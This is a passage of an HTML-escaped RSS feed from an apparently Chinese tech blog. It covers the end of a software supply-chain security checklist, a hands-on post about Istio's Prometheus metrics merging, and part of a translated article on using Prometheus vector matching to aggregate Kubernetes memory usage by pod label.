&lt;h4 id=&#34;2-1-4-能够自动创建构建环境&#34;&gt;2.1.4 能够自动创建构建环境&lt;/h4&gt;

&lt;h4 id=&#34;2-1-5-对构建环境进行访问控制&#34;&gt;2.1.5 对构建环境进行访问控制&lt;/h4&gt;

&lt;h4 id=&#34;2-1-6-仅有认证用户能够访问构建环境&#34;&gt;2.1.6 仅有认证用户能够访问构建环境&lt;/h4&gt;

&lt;h3 id=&#34;2-2-构建-worker-runner&#34;&gt;2.2 构建 Worker/Runner&lt;/h3&gt;

&lt;h4 id=&#34;2-2-1-每种构建-worker-只有单一用途&#34;&gt;2.2.1 每种构建 Worker 只有单一用途&lt;/h4&gt;

&lt;h4 id=&#34;2-2-2-构建-worker-的运行环境和命令应该是从外部推送给-worker-而不是由-worker-主动拉取&#34;&gt;2.2.2 构建 Worker 的运行环境和命令应该是从外部推送给 Worker，而不是由 Worker 主动拉取&lt;/h4&gt;

&lt;h4 id=&#34;2-2-3-不同-worker-的职责应该分离&#34;&gt;2.2.3 不同 Worker 的职责应该分离&lt;/h4&gt;

&lt;h4 id=&#34;2-2-4-尽可能缩减-worker-的网络连接能力&#34;&gt;2.2.4 尽可能缩减 Worker 的网络连接能力&lt;/h4&gt;

&lt;h4 id=&#34;2-2-5-worker-需要进行加固保障运行时安全&#34;&gt;2.2.5 Worker 需要进行加固保障运行时安全&lt;/h4&gt;

&lt;h4 id=&#34;2-2-6-要对-worker-进行漏洞扫描&#34;&gt;2.2.6 要对 Worker 进行漏洞扫描&lt;/h4&gt;

&lt;h4 id=&#34;2-2-7-worker-的部署配置应该保存在版本控制系统里&#34;&gt;2.2.7 Worker 的部署配置应该保存在版本控制系统里&lt;/h4&gt;

&lt;h4 id=&#34;2-2-8-监控-worker-的资源消耗&#34;&gt;2.2.8 监控 Worker 的资源消耗&lt;/h4&gt;

&lt;h3 id=&#34;2-3-管线指令&#34;&gt;2.3 管线指令&lt;/h3&gt;

&lt;p&gt;管线中使用指令来获取源代码的原始文件，并进行一系列处理最终输出制品。多数时候，这些指令是由第三方开发者编写的，受攻击的几率可能较高，因此需要谨慎对待。&lt;/p&gt;

&lt;h4 id=&#34;2-3-1-确保所有构建步骤都以代码定义&#34;&gt;2.3.1 确保所有构建步骤都以代码定义&lt;/h4&gt;

&lt;p&gt;将管道指令作为代码存储在版本控制系统中，提高了构建步骤的自动化程度，并减少人为错误导致的安全漏洞。此外，这种做法也具备了恢复管道配置版本的能力，在发生恶意事件时，更容易准确的定位受影响的变化。&lt;/p&gt;

&lt;h4 id=&#34;2-3-2-清晰声明构建步骤的输入和输出内容&#34;&gt;2.3.2 清晰声明构建步骤的输入和输出内容&lt;/h4&gt;

&lt;h4 id=&#34;2-3-3-确保输出内容写入到独立的-安全的存储仓&#34;&gt;2.3.3 确保输出内容写入到独立的、安全的存储仓&lt;/h4&gt;

&lt;h4 id=&#34;2-3-4-管线文件需要进行跟踪和评审&#34;&gt;2.3.4 管线文件需要进行跟踪和评审&lt;/h4&gt;

&lt;h4 id=&#34;2-3-5-确保构建过程的触发有严格权限控制&#34;&gt;2.3.5 确保构建过程的触发有严格权限控制&lt;/h4&gt;

&lt;h4 id=&#34;2-3-6-使用自动扫描的方式保障管线配置正确性&#34;&gt;2.3.6 使用自动扫描的方式保障管线配置正确性&lt;/h4&gt;

&lt;h4 id=&#34;2-3-7-使用自动扫描的方式避免管线漏洞&#34;&gt;2.3.7 使用自动扫描的方式避免管线漏洞&lt;/h4&gt;

&lt;h4 id=&#34;2-3-8-使用自动扫描的方式避免管线中出现敏感数据&#34;&gt;2.3.8 使用自动扫描的方式避免管线中出现敏感数据&lt;/h4&gt;

&lt;h3 id=&#34;2-4-管线完整性&#34;&gt;2.4 管线完整性&lt;/h3&gt;

&lt;p&gt;确保管线、管线的依赖项以及相关制品都是真实的。管道的完整性能保障管道运行过程中的每一个变化和进程都是有保障的。一个办法就是将每个依赖关系锁定在某个安全版本上。&lt;/p&gt;

&lt;h4 id=&#34;2-4-1-为所有版本的所有制品进行签名&#34;&gt;2.4.1 为所有版本的所有制品进行签名&lt;/h4&gt;

&lt;h4 id=&#34;2-4-2-锁定所有构建过程中的外部依赖&#34;&gt;2.4.2 锁定所有构建过程中的外部依赖&lt;/h4&gt;

&lt;h4 id=&#34;2-4-3-在引入依赖之前要进行验证&#34;&gt;2.4.3 在引入依赖之前要进行验证&lt;/h4&gt;

&lt;h4 id=&#34;2-4-4-构建管线的制品生成应该具有复现能力&#34;&gt;2.4.4 构建管线的制品生成应该具有复现能力&lt;/h4&gt;

&lt;h4 id=&#34;2-4-5-管线步骤应该能生成-sbom-软件物料单&#34;&gt;2.4.5 管线步骤应该能生成 SBOM（软件物料单）&lt;/h4&gt;

&lt;h4 id=&#34;2-4-6-管线应对生成的-sbom-进行签名&#34;&gt;2.4.6 管线应对生成的 SBOM 进行签名&lt;/h4&gt;

&lt;h2 id=&#34;3-依赖&#34;&gt;3. 依赖&lt;/h2&gt;

&lt;h3 id=&#34;3-1-三方包&#34;&gt;3.1 三方包&lt;/h3&gt;

&lt;h4 id=&#34;3-1-1-要对第三方制品和开源库进行校验&#34;&gt;3.1.1 要对第三方制品和开源库进行校验&lt;/h4&gt;

&lt;h4 id=&#34;3-1-2-所有第三方供应商都应该提供-sbom&#34;&gt;3.1.2 所有第三方供应商都应该提供 SBOM&lt;/h4&gt;

&lt;h4 id=&#34;3-1-3-构建过程生成的-历史-元数据应该被签名和校验&#34;&gt;3.1.3 构建过程生成的（历史）元数据应该被签名和校验&lt;/h4&gt;

&lt;h4 id=&#34;3-1-4-确保开源组件的依赖关系也得到监控&#34;&gt;3.1.4 确保开源组件的依赖关系也得到监控&lt;/h4&gt;

&lt;h4 id=&#34;3-1-5-定义并优先使用受信任的包管理器及其包仓库&#34;&gt;3.1.5 定义并优先使用受信任的包管理器及其包仓库&lt;/h4&gt;

&lt;h4 id=&#34;3-1-6-为代码的-sbom-进行签名-太啰嗦了&#34;&gt;3.1.6 为代码的 SBOM 进行签名（*太啰嗦了*）&lt;/h4&gt;

&lt;h4 id=&#34;3-1-7-依赖应该锁定到一个特定的-验证过的版本&#34;&gt;3.1.7 依赖应该锁定到一个特定的、验证过的版本&lt;/h4&gt;

&lt;h4 id=&#34;3-1-8-使用的所有包都发布于至少-60-天以前&#34;&gt;3.1.8 使用的所有包都发布于至少 60 天以前&lt;/h4&gt;

&lt;h3 id=&#34;3-2-包校验&#34;&gt;3.2 包校验&lt;/h3&gt;

&lt;h4 id=&#34;3-2-1-要在组织范围内实施依赖使用策略&#34;&gt;3.2.1 要在组织范围内实施依赖使用策略&lt;/h4&gt;

&lt;h4 id=&#34;3-2-2-要能够自动扫描已知漏洞&#34;&gt;3.2.2 要能够自动扫描已知漏洞&lt;/h4&gt;

&lt;h4 id=&#34;3-2-3-要能够自动扫描许可问题&#34;&gt;3.2.3 要能够自动扫描许可问题&lt;/h4&gt;

&lt;h4 id=&#34;3-2-4-能够自动扫描包的属主变化&#34;&gt;3.2.4 能够自动扫描包的属主变化&lt;/h4&gt;

&lt;h2 id=&#34;4-制品&#34;&gt;4 制品&lt;/h2&gt;

&lt;p&gt;制品是软件的打包成果，保存在包仓库中或者制品库中，从产生到拷贝、更新以及部署的整个过程都需要关注安全问题。&lt;/p&gt;

&lt;h3 id=&#34;4-1-校验&#34;&gt;4.1 校验&lt;/h3&gt;

&lt;p&gt;制品被推送到仓库之后，可能发生各种攻击：例如使用同名恶意制品进行覆盖、盗取制品文件等。&lt;/p&gt;

&lt;h4 id=&#34;4-1-1-所有制品都需要通过构建管线进行签名&#34;&gt;4.1.1 所有制品都需要通过构建管线进行签名&lt;/h4&gt;

&lt;h4 id=&#34;4-1-2-分发之前对制品进行加密&#34;&gt;4.1.2 分发之前对制品进行加密&lt;/h4&gt;

&lt;h4 id=&#34;4-1-3-只有认证平台才能对制品进行解密&#34;&gt;4.1.3 只有认证平台才能对制品进行解密&lt;/h4&gt;

&lt;h3 id=&#34;4-2-访问制品&#34;&gt;4.2 访问制品&lt;/h3&gt;

&lt;h4 id=&#34;4-2-1-对制品进行认证-并且限制特定平台对特定的制品进行认证&#34;&gt;4.2.1 对制品进行认证，并且限制特定平台对特定的制品进行认证&lt;/h4&gt;

&lt;h4 id=&#34;4-2-2-尽可能少地授权用户上传制品&#34;&gt;4.2.2 尽可能少地授权用户上传制品&lt;/h4&gt;

&lt;h4 id=&#34;4-2-3-能够上传制品的用户需要使用-mfa-认证&#34;&gt;4.2.3 能够上传制品的用户需要使用 MFA 认证&lt;/h4&gt;

&lt;h4 id=&#34;4-2-4-制品库不应该使用本地的用户管理&#34;&gt;4.2.4 制品库不应该使用本地的用户管理&lt;/h4&gt;

&lt;h4 id=&#34;4-2-5-禁止匿名访问制品库&#34;&gt;4.2.5 禁止匿名访问制品库&lt;/h4&gt;

&lt;h3 id=&#34;4-3-包仓库&#34;&gt;4.3 包仓库&lt;/h3&gt;

&lt;h4 id=&#34;4-3-1-包仓库要对制品签名进行验证&#34;&gt;4.3.1 包仓库要对制品签名进行验证&lt;/h4&gt;

&lt;h4 id=&#34;4-3-2-所有制品的所有版本的签名都需进行验证&#34;&gt;4.3.2 所有制品的所有版本的签名都需进行验证&lt;/h4&gt;

&lt;h4 id=&#34;4-3-3-包仓库的配置变更需要进行审计&#34;&gt;4.3.3 包仓库的配置变更需要进行审计&lt;/h4&gt;

&lt;h4 id=&#34;4-3-4-包仓库使用的-webhook-需要用加密协议进行通信&#34;&gt;4.3.4 包仓库使用的 Webhook 需要用加密协议进行通信&lt;/h4&gt;

&lt;h3 id=&#34;4-4-可追溯&#34;&gt;4.4 可追溯&lt;/h3&gt;

&lt;h4 id=&#34;4-4-1-制品需要通过-sbom-元数据文件等方式提供源头信息&#34;&gt;4.4.1 制品需要通过 SBOM、元数据文件等方式提供源头信息&lt;/h4&gt;

&lt;h4 id=&#34;4-4-2-禁止从外部仓库拉取私有制品&#34;&gt;4.4.2 禁止从外部仓库拉取私有制品&lt;/h4&gt;

&lt;h2 id=&#34;5-部署&#34;&gt;5. 部署&lt;/h2&gt;

&lt;p&gt;部署是供应链的最后一段，本节提供关于发布、部署和配置等方面的安全建议。&lt;/p&gt;

&lt;h3 id=&#34;5-1-部署配置&#34;&gt;5.1 部署配置&lt;/h3&gt;

&lt;h4 id=&#34;5-1-1-确保部署配置文件和源码进行分离&#34;&gt;5.1.1 确保部署配置文件和源码进行分离&lt;/h4&gt;

&lt;h4 id=&#34;5-1-2-部署配置的变更必须进行跟踪&#34;&gt;5.1.2 部署配置的变更必须进行跟踪&lt;/h4&gt;

&lt;h4 id=&#34;5-1-3-用扫描器保障识别和阻止配置文件中出现敏感数据&#34;&gt;5.1.3 用扫描器保障识别和阻止配置文件中出现敏感数据&lt;/h4&gt;

&lt;h4 id=&#34;5-1-4-只有特定用户才能访问部署配置&#34;&gt;5.1.4 只有特定用户才能访问部署配置&lt;/h4&gt;

&lt;h4 id=&#34;5-1-5-对-iac-指令进行扫描-防止指令错误&#34;&gt;5.1.5 对 IaC 指令进行扫描，防止指令错误&lt;/h4&gt;

&lt;h4 id=&#34;5-1-6-确保对部署配置进行校验&#34;&gt;5.1.6 确保对部署配置进行校验&lt;/h4&gt;

&lt;h4 id=&#34;5-1-7-部署配置应该绑定到特定的可信的版本&#34;&gt;5.1.7 部署配置应该绑定到特定的可信的版本&lt;/h4&gt;

&lt;h3 id=&#34;5-2-部署环境&#34;&gt;5.2 部署环境&lt;/h3&gt;

&lt;h4 id=&#34;5-2-1-用自动化的方式进行部署&#34;&gt;5.2.1 用自动化的方式进行部署&lt;/h4&gt;

&lt;h4 id=&#34;5-2-2-可复制的部署环境&#34;&gt;5.2.2 可复制的部署环境&lt;/h4&gt;

&lt;h4 id=&#34;5-2-3-对部署环境进行访问限制&#34;&gt;5.2.3 对部署环境进行访问限制&lt;/h4&gt;

&lt;h4 id=&#34;5-2-4-禁止使用缺省密码&#34;&gt;5.2.4 禁止使用缺省密码&lt;/h4&gt;
</description>
    </item>
    
    <item>
      <title>在 Istio 中合并监控指标</title>
      <link>/post/merge-metrics-in-istio/</link>
      <pubDate>Sat, 06 Aug 2022 21:53:29 +0800</pubDate>
      <guid>/post/merge-metrics-in-istio/</guid>
      <description>&lt;p&gt;前些天阅读 Istio 文档的时候发现个语焉不详的东西：&lt;a href=&#34;https://istio.io/latest/docs/ops/integrations/prometheus/#option-1-metrics-merging&#34; target=&#34;_blank&#34;&gt;Metrics Merging&lt;/a&gt;，原文如下：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This option is enabled by default but can be disabled by passing &amp;ndash;set meshConfig.enablePrometheusMerge=false during installation. When enabled, appropriate prometheus.io annotations will be added to all data plane pods to set up scraping. If these annotations already exist, they will be overwritten. With this option, the Envoy sidecar will merge Istio’s metrics with the application metrics. The merged metrics will be scraped from /stats/prometheus:15020.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;大致翻译一下：这是一个缺省开放的功能，可以在安装时用 &lt;code&gt;--set meshConfig.enablePrometheusMerge=false&lt;/code&gt; 参数停用这个功能。这个功能启用后，相对应的 &lt;code&gt;prometheus.io&lt;/code&gt; 注解就会被加入到所有数据面 Pod 上，以启用 Prometheus 的指标抓取能力。如果这些注解已经存在，那么就会被覆盖。有了这样的功能，Envoy Sidecar 就会把应用指标和 Istio 指标进行合并，Prometheus 可以从 &lt;code&gt;:15020/stats/prometheus&lt;/code&gt; 拉取合并后的指标。&lt;/p&gt;

&lt;p&gt;看完之后，一头雾水。翻翻代码看到另一番说辞：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;applyPrometheusMerge configures prometheus scraping annotations for the &amp;ldquo;metrics merge&amp;rdquo; feature. This moves the current prometheus.io annotations into an environment variable and replaces them pointing to the agent.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这段代码实现了指标合并功能。它会把当前的 &lt;code&gt;prometheus.io&lt;/code&gt; 注解保存到环境变量之中，并且将原有注解替换为指向 Agent 的内容。&lt;/p&gt;

&lt;p&gt;再结合相关代码，大概可以推断其功能大致如下：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;网格化微服务在网格化之前使用 &lt;code&gt;prometheus.io&lt;/code&gt; 注解标注的抓取方法，会被保存到 Sidecar 的环境变量之中；&lt;/li&gt;
&lt;li&gt;合并指标功能，能够将被网格劫持的微服务输出的 Promethues 指标和 Sidecar 自身指标进行合并，输出到 &lt;code&gt;:15020/stats/prometheus&lt;/code&gt; 端点，供 Prometheus 拉取。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;我们用 Python 的 &lt;a href=&#34;https://github.com/prometheus/client_python#custom-collectors&#34; target=&#34;_blank&#34;&gt;Prometheus Exporter SDK&lt;/a&gt; 中的测试代码做一个示例应用，并使用如下 Dockerfile 进行打包：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM python:3.9.13-slim-buster
RUN pip install prometheus-client &amp;amp;&amp;amp; mkdir app
COPY server.py /app/server.py
WORKDIR /app
EXPOSE 8000
CMD [ &amp;quot;python3&amp;quot;, &amp;quot;server.py&amp;quot; ]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 Docker 运行一下，可以看到他输出的简单指标：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ docker run -p 8000:8000 dustise/promclient:v0.1
Unable to find image &#39;dustise/promclient:v0.1&#39; locally
v0.1: Pulling from dustise/promclient
...
Status: Downloaded newer image for dustise/promclient:v0.1
$ curl http://127.0.0.1:8000
...
# HELP request_processing_seconds_created Time spent processing request
# TYPE request_processing_seconds_created gauge
request_processing_seconds_created 1.6597804647800276e+09
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会看到指标中是一些请求相关和 Python 特定的内容，这正像我们一个提供了监控指标的微服务，那么如何将这些“业务”指标和 Sidecar 合并输出呢？根据上文，需要加上 Prometheus 的注解，因此我们准备这样一个 YAML：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
...
  template:
    metadata:
...
      annotations:
        prometheus.io/path: /
        prometheus.io/port: 8000
        prometheus.io/scrape: true
    spec:
...
---
apiVersion: v1
kind: Service
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注入 Sidecar 并提交到集群：&lt;code&gt;istioctl kube-inject -f promclient.yaml | kubectl apply -f  -&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;成功后，可以看看新 Pod 是不是发生了像文档所说的变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl describe po promclient-6c74596f4f-r5z29 | grep prometheus.io
              prometheus.io/path: /stats/prometheus
              prometheus.io/port: 15020
              prometheus.io/scrape: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到我们原有的注解的确被替换为缺省内容，那原有内容是不是出现在环境变量之中？&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it [pod] -c istio-proxy -- env |  | grep ANNO
ISTIO_PROMETHEUS_ANNOTATIONS={&amp;quot;scrape&amp;quot;:&amp;quot;true&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/&amp;quot;,&amp;quot;port&amp;quot;:&amp;quot;8000&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;果然出现在这里了。那么指标是否完成合并了？采集一下 Pod 的 15020 端口：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ http 10.52.1.11:15020/stats/prometheus | grep python | more
# HELP python_gc_objects_collected_total Objects collected during gc
# TYPE python_gc_objects_collected_total counter
python_gc_objects_collected_total{generation=&amp;quot;0&amp;quot;} 101.0
python_gc_objects_collected_total{generation=&amp;quot;1&amp;quot;} 273.0
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，指标已经被合并到了 Sidecar 指标中之中。&lt;/p&gt;

&lt;p&gt;方法固然简单，还是存在一些不适用的场景，例如：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;用 mTLS 抓取指标&lt;/li&gt;
&lt;li&gt;应用指标和 Sidecar 指标重名&lt;/li&gt;
&lt;li&gt;Prometheus 未配置按照标准注解进行抓取&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;遇到上述问题，可能就需要关掉合并功能，采用自定义抓取的方式了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Prometheus 和 Pod 标签</title>
      <link>/post/prometheus-and-pod-label/</link>
      <pubDate>Fri, 22 Jul 2022 09:48:06 +0800</pubDate>
      <guid>/post/prometheus-and-pod-label/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://5pi.de/2017/11/09/use-prometheus-vector-matching-to-get-kubernetes-utilization-across-any-pod-label/&#34; target=&#34;_blank&#34;&gt;Use Prometheus Vector Matching to get Kubernetes Utilization across any Pod Label&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://5pi.de/&#34; target=&#34;_blank&#34;&gt;Johannes Ziemke&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注：这里实际上涉及到两种标签，一个是 Pod 的，一个是 Metrics 的，非常容易混淆，所以会分别写成 Pod 标签和指标标签。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Prometheus 是为 Kubernetes 这样的动态环境而生的。它的服务发现能力和查询语言非常强大，Kubernetes 运维过程中，用户可以借 Prometheus 解决监控问题。&lt;/p&gt;

&lt;p&gt;相对其它竞品来说，这种弹性直接提高了 Prometheus 的使用门槛，&lt;a href=&#34;https://prometheus.io/docs/prometheus/latest/querying/operators/#vector-matching&#34; target=&#34;_blank&#34;&gt;向量匹配&lt;/a&gt; 就是众多拦路虎中的一个。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://prometheus.io/docs/prometheus/latest/querying/operators/#vector-matching&#34; target=&#34;_blank&#34;&gt;Prometheus 文档&lt;/a&gt;中在这个主题上做了非常精彩的阐述，所以本文中不会做过多的细节阐述，而是会围绕资源使用率这个主题进行一些场景化的尝试。&lt;/p&gt;

&lt;h2 id=&#34;用标签聚合内存用量&#34;&gt;用标签聚合内存用量&lt;/h2&gt;

&lt;p&gt;Kubernetes 提供了一个 &lt;code&gt;container_memory_usage_bytes&lt;/code&gt; 指标，用于表达 Pod 的内存用量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;...
container_memory_usage_bytes{beta_kubernetes_io_arch=&amp;quot;amd64&amp;quot;,beta_kubernetes_io_fluentd_ds_ready=&amp;quot;true&amp;quot;,beta_kubernetes_io_instance_type=&amp;quot;g1-small&amp;quot;,beta_kubernetes_io_os=&amp;quot;linux&amp;quot;,cloud_google_com_gke_nodepool=&amp;quot;small-preemptible&amp;quot;,cloud_google_com_gke_preemptible=&amp;quot;true&amp;quot;,container_name=&amp;quot;POD&amp;quot;,failure_domain_beta_kubernetes_io_region=&amp;quot;us-east1&amp;quot;,failure_domain_beta_kubernetes_io_zone=&amp;quot;us-east1-c&amp;quot;,id=&amp;quot;/kubepods/burstable/pod13d4221c-c484-11e7-bff5-42010af0018b/67e5bb069ab9881ff8a55b8628ef4935b0d1ace09c18df20db059522bdfd5b7d&amp;quot;,image=&amp;quot;gcr.io/google_containers/pause-amd64:3.0&amp;quot;,instance=&amp;quot;gke-latency-at-small-preemptible-0c981b61-9489&amp;quot;,job=&amp;quot;kubernetes-cadvisor&amp;quot;,kubernetes_io_hostname=&amp;quot;gke-latency-at-small-preemptible-0c981b61-9489&amp;quot;,name=&amp;quot;k8s_POD_latency-api-971504058-jzs5h_default_13d4221c-c484-11e7-bff5-42010af0018b_0&amp;quot;,namespace=&amp;quot;default&amp;quot;,pod_name=&amp;quot;latency-api-971504058-jzs5h&amp;quot;}	389120
container_memory_usage_bytes{beta_kubernetes_io_arch=&amp;quot;amd64&amp;quot;,beta_kubernetes_io_fluentd_ds_ready=&amp;quot;true&amp;quot;,beta_kubernetes_io_instance_type=&amp;quot;g1-small&amp;quot;,beta_kubernetes_io_os=&amp;quot;linux&amp;quot;,cloud_google_com_gke_nodepool=&amp;quot;small-preemptible&amp;quot;,cloud_google_com_gke_preemptible=&amp;quot;true&amp;quot;,container_name=&amp;quot;POD&amp;quot;,failure_domain_beta_kubernetes_io_region=&amp;quot;us-east1&amp;quot;,failure_domain_beta_kubernetes_io_zone=&amp;quot;us-east1-c&amp;quot;,id=&amp;quot;/kubepods/burstable/pod81d0f651-c500-11e7-bff5-42010af0018b/309e05b118e618122c70ccf88538d13ca41c3b5a770d5d67882426854391c23c&amp;quot;,image=&amp;quot;gcr.io/google_containers/pause-amd64:3.0&amp;quot;,instance=&amp;quot;gke-latency-at-small-preemptible-0c981b61-9489&amp;quot;,job=&amp;quot;kubernetes-cadvisor&amp;quot;,kubernetes_io_hostname=&amp;quot;gke-latency-at-small-preemptible-0c981b61-9489&amp;quot;,name=&amp;quot;k8s_POD_latency-api-971504058-gszpw_default_81d0f651-c500-11e7-bff5-42010af0018b_0&amp;quot;,namespace=&amp;quot;default&amp;quot;,pod_name=&amp;quot;latency-api-971504058-gszpw&amp;quot;}	372736
container_memory_usage_bytes{beta_kubernetes_io_arch=&amp;quot;amd64&amp;quot;,beta_kubernetes_io_fluentd_ds_ready=&amp;quot;true&amp;quot;,beta_kubernetes_io_instance_type=&amp;quot;g1-small&amp;quot;,beta_kubernetes_io_os=&amp;quot;linux&amp;quot;,cloud_google_com_gke_nodepool=&amp;quot;small-preemptible&amp;quot;,cloud_google_com_gke_preemptible=&amp;quot;true&amp;quot;,container_name=&amp;quot;latency-api&amp;quot;,failure_domain_beta_kubernetes_io_region=&amp;quot;us-east1&amp;quot;,failure_domain_beta_kubernetes_io_zone=&amp;quot;us-east1-c&amp;quot;,id=&amp;quot;/kubepods/burstable/pod13d4221c-c484-11e7-bff5-42010af0018b/497e6fdf2217771cb3f52e6fef93734d023f0e7f23f92c58d22139fc18dc5f13&amp;quot;,image=&amp;quot;registry.gitlab.com/latency.at/latencyat@sha256:8ea057e064b64cc9c8459a68ef3f6d0fc26169b4f57aef193831779e1fe713d4&amp;quot;,instance=&amp;quot;gke-latency-at-small-preemptible-0c981b61-9489&amp;quot;,job=&amp;quot;kubernetes-cadvisor&amp;quot;,kubernetes_io_hostname=&amp;quot;gke-latency-at-small-preemptible-0c981b61-9489&amp;quot;,name=&amp;quot;k8s_latency-api_latency-api-971504058-jzs5h_default_13d4221c-c484-11e7-bff5-42010af0018b_1&amp;quot;,namespace=&amp;quot;default&amp;quot;,pod_name=&amp;quot;latency-api-971504058-jzs5h&amp;quot;}	11014144
container_memory_usage_bytes{beta_kubernetes_io_arch=&amp;quot;amd64&amp;quot;,beta_kubernetes_io_fluentd_ds_ready=&amp;quot;true&amp;quot;,beta_kubernetes_io_instance_type=&amp;quot;g1-small&amp;quot;,beta_kubernetes_io_os=&amp;quot;linux&amp;quot;,cloud_google_com_gke_nodepool=&amp;quot;small-preemptible&amp;quot;,cloud_google_com_gke_preemptible=&amp;quot;true&amp;quot;,container_name=&amp;quot;latency-api&amp;quot;,failure_domain_beta_kubernetes_io_region=&amp;quot;us-east1&amp;quot;,failure_domain_beta_kubernetes_io_zone=&amp;quot;us-east1-c&amp;quot;,id=&amp;quot;/kubepods/burstable/pod81d0f651-c500-11e7-bff5-42010af0018b/7b438a8e9df0cf1ab29d067fd36c97099f9f5e7e9257f6187c5be6bff846a62c&amp;quot;,image=&amp;quot;registry.gitlab.com/latency.at/latencyat@sha256:8ea057e064b64cc9c8459a68ef3f6d0fc26169b4f57aef193831779e1fe713d4&amp;quot;,instance=&amp;quot;gke-latency-at-small-preemptible-0c981b61-9489&amp;quot;,job=&amp;quot;kubernetes-cadvisor&amp;quot;,kubernetes_io_hostname=&amp;quot;gke-latency-at-small-preemptible-0c981b61-9489&amp;quot;,name=&amp;quot;k8s_latency-api_latency-api-971504058-gszpw_default_81d0f651-c500-11e7-bff5-42010af0018b_0&amp;quot;,namespace=&amp;quot;default&amp;quot;,pod_name=&amp;quot;latency-api-971504058-gszpw&amp;quot;}	11448320
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是很不幸，这其中并不包含 Pod 标签。还好，&lt;a href=&#34;https://github.com/kubernetes/kube-state-metrics&#34; target=&#34;_blank&#34;&gt;kube-state-metrics&lt;/a&gt; 提供了一个 &lt;code&gt;kube_pod_labels&lt;/code&gt; 指标，这个指标包含一个静态时序，其中表达了 Pod 标签和 Pod 名称的关系：&lt;/p&gt;

&lt;p&gt;可以用 &lt;code&gt;(pod_name=&amp;quot;latency-api-971504058-jzs5h&amp;quot;)&lt;/code&gt; 来查询 Pod 的标签：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;kube_pod_labels{instance=&amp;quot;10.116.0.12:8080&amp;quot;,job=&amp;quot;kubernetes-service-endpoints&amp;quot;,k8s_app=&amp;quot;kube-state-metrics&amp;quot;,kubernetes_name=&amp;quot;kube-state-metrics&amp;quot;,kubernetes_namespace=&amp;quot;kube-system&amp;quot;,label_app=&amp;quot;latency-api&amp;quot;,label_pod_template_hash=&amp;quot;971504058&amp;quot;,namespace=&amp;quot;default&amp;quot;,pod=&amp;quot;latency-api-971504058-jzs5h&amp;quot;} 1
kube_pod_labels{instance=&amp;quot;10.116.1.26:8080&amp;quot;,job=&amp;quot;kubernetes-service-endpoints&amp;quot;,k8s_app=&amp;quot;kube-state-metrics&amp;quot;,kubernetes_name=&amp;quot;kube-state-metrics&amp;quot;,kubernetes_namespace=&amp;quot;kube-system&amp;quot;,label_app=&amp;quot;latency-api&amp;quot;,label_pod_template_hash=&amp;quot;971504058&amp;quot;,namespace=&amp;quot;default&amp;quot;,pod=&amp;quot;latency-api-971504058-jzs5h&amp;quot;} 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;因为有两个 &lt;code&gt;kube-state-metrics&lt;/code&gt; 实例在运行，所以出现了两条结果。这两个指标可以用向量匹配的方式进行合并。他们的值是一致的，所以用 &lt;code&gt;min&lt;/code&gt;/&lt;code&gt;max&lt;/code&gt; 都可以。后面的内容会用 &lt;code&gt;label_app&lt;/code&gt; 进行聚合，所以需要保留这个指标标签。另外 &lt;code&gt;pod&lt;/code&gt; 标签也是需要保留的，用于进行连接。因为在 &lt;code&gt;kube_pod_labels&lt;/code&gt; 中，Pod 的指标标签是 &lt;code&gt;pod&lt;/code&gt;，而在 &lt;code&gt;containers_memory_usage_bytes&lt;/code&gt; 中则变成了 &lt;code&gt;pod_name&lt;/code&gt;。因此需要用一个 &lt;code&gt;label_replace&lt;/code&gt; 进行重命名：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;max by (pod_name,label_app) (
  label_replace(kube_pod_labels{label_app!=&amp;quot;&amp;quot;},&amp;quot;pod_name&amp;quot;,&amp;quot;$1&amp;quot;,&amp;quot;pod&amp;quot;,&amp;quot;(.*)&amp;quot;)
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回内容大致如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;{label_app=&amp;quot;latency-api&amp;quot;,pod_name=&amp;quot;latency-api-971504058-n8k6d&amp;quot;}  1
{label_app=&amp;quot;latency-api&amp;quot;,pod_name=&amp;quot;latency-api-971504058-jzs5h&amp;quot;}  1
&lt;/code&gt;&lt;/pre&gt;

